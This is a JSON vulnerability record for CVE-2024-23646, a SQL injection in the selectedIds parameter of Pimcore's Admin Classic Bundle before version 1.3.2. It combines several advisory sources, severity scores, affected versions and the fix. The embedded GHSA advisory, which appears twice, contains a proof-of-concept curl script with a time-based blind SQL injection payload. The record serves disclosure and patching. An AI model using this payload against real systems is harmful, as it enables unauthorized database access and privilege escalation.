{"id":"CVE-2024-23646","aliases":["EUVD-2024-0338","GHSA-cwx6-4wmf-c6xv"],"status":"published","title":"Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip","description":"Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00997,"percentile":0.63027,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2024-01-24T19:41:49Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"Packagist","package":"pimcore/admin-ui-classic-bundle","fixed_in":["1.3.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/admin-ui-classic-bundle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.3.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/admin-ui-classic-bundle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.3.2"}]}],"versions":["v1.0.0","v1.0.1","v1.0.2","v1.0.3","v1.0.4","v1.0.5","v1.0.6","v1.1.0","v1.1.0-RC1","v1.1.1","v1.1.2","v1.1.3","v1.1.4","v1.2","v1.2.0-RC1","v1.2.1","v1.2.2","v1.2.3","v1.3.0","v1.3.0-RC1","v1.3.1"]}],"products":[{"vendor":"pimcore","product":"admin-ui-classic-bundle"},{"vendor":"pimcore","product":"admin_classic_bundle"}],"references":[{"url":"https://github.com/pimcore/admin-ui-classic-bundle/security/advisories/GHSA-cwx6-4wmf-c6xv","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pimcore/admin-ui-classic-bundle/commit/363afef29496cc40a8b863c2ca2338979fcf50a8","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006","tags":["x_refsource_MISC","x_transferred","Issue Tracking","web"]},{"url":"https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087","tags":["x_refsource_MISC","x_transferred","Issue Tracking","web"]},{"url":"https://github.com/pimcore/admin-ui-classic-bundle/releases/tag/v1.3.2","tags":["x_refsource_MISC","x_transferred","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23646","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cwx6-4wmf-c6xv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23646.json","tags":["advisory"]},{"url":"https://github.com/pimcore/admin-ui-classic-bundle","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-23646","title":"Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip","description":"Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.\n","status":"published","published":"2024-01-24T19:41:49.578Z","modified":"2025-05-30T14:16:14.214Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:34:05.444281Z"}],"euvd":[{"id":"EUVD-2024-0338","description":"Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.\n","status":"published","published":"2024-01-24T19:41:49Z","modified":"2025-05-30T14:16:14Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T20:32:34.547192Z"}],"ghsa":[{"id":"GHSA-cwx6-4wmf-c6xv","title":"SQL Injection in Admin download files as zip","description":"### Summary\nThe application allows to create zip files from available files on the site. The parameter \"selectedIds\", is susceptible to SQL Injection.\n\n### Details\n[downloadAsZipJobsAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006) escape parameters, but [downloadAsZipAddFilesAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087) not.\nThe following code should be added:\n```\n  foreach ($selectedIds as $selectedId) {\n      if ($selectedId) {\n          $quotedSelectedIds[] = $db-\u003equote($selectedId);\n      }\n  }\n```\n\n### PoC\n\n- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)\n- Log In. Grab the `X-pimcore-csrf-token` header from any request to the backend, as well as the `PHPSESSID` cookie.\n- Run the following script, substituting the values accordingly: \n```\n#!/bin/bash\nBASE_URL=http://localhost # REPLACE THIS!\nCSRF_TOKEN=\"5133f9d5d28de7dbab39e33ac7036271284ee42e\" # REPLACE THIS!\nCOOKIE=\"PHPSESSID=4312797207ba3b342b29218fa42f3aa3\" # REPLACE THIS!\nSQL=\"(select*from(select(sleep(6)))a)\"\n\ncurl \"${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093\u0026id=1\u0026selectedIds=1,${SQL}\u0026offset=10\u0026limit=5\u0026jobId=655cb18a37b01\" \\\n    -X GET \\\n    -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n    -H \"Cookie: ${COOKIE}\" `\n```\n- The response is delayed by 6 seconds.\n\n### Impact\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n","status":"published","published":"2024-01-24T20:54:15Z","modified":"2024-01-26T09:02:20Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:37:33.019154Z"}],"nvd":[{"id":"CVE-2024-23646","description":"Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.\n","status":"published","published":"2024-01-24T20:15:53.877Z","modified":"2026-06-17T07:13:17.98Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:09:32.147098Z"}],"osv":[{"id":"CVE-2024-23646","title":"Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip","description":"Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.\n","status":"published","published":"2024-01-24T19:41:49.578Z","modified":"2026-10-28T02:31:12.68452807Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:44:38.897406Z"},{"id":"GHSA-cwx6-4wmf-c6xv","title":"SQL Injection in Admin download files as zip","description":"### Summary\nThe application allows to create zip files from available files on the site. The parameter \"selectedIds\", is susceptible to SQL Injection.\n\n### Details\n[downloadAsZipJobsAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006) escape parameters, but [downloadAsZipAddFilesAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087) not.\nThe following code should be added:\n```\n  foreach ($selectedIds as $selectedId) {\n      if ($selectedId) {\n          $quotedSelectedIds[] = $db-\u003equote($selectedId);\n      }\n  }\n```\n\n### PoC\n\n- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)\n- Log In. Grab the `X-pimcore-csrf-token` header from any request to the backend, as well as the `PHPSESSID` cookie.\n- Run the following script, substituting the values accordingly: \n```\n#!/bin/bash\nBASE_URL=http://localhost # REPLACE THIS!\nCSRF_TOKEN=\"5133f9d5d28de7dbab39e33ac7036271284ee42e\" # REPLACE THIS!\nCOOKIE=\"PHPSESSID=4312797207ba3b342b29218fa42f3aa3\" # REPLACE THIS!\nSQL=\"(select*from(select(sleep(6)))a)\"\n\ncurl \"${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093\u0026id=1\u0026selectedIds=1,${SQL}\u0026offset=10\u0026limit=5\u0026jobId=655cb18a37b01\" \\\n    -X GET \\\n    -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n    -H \"Cookie: ${COOKIE}\" `\n```\n- The response is delayed by 6 seconds.\n\n### Impact\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n","status":"published","published":"2024-01-24T20:54:15Z","modified":"2026-09-10T03:49:59.705576221Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:45.639885Z"}]}}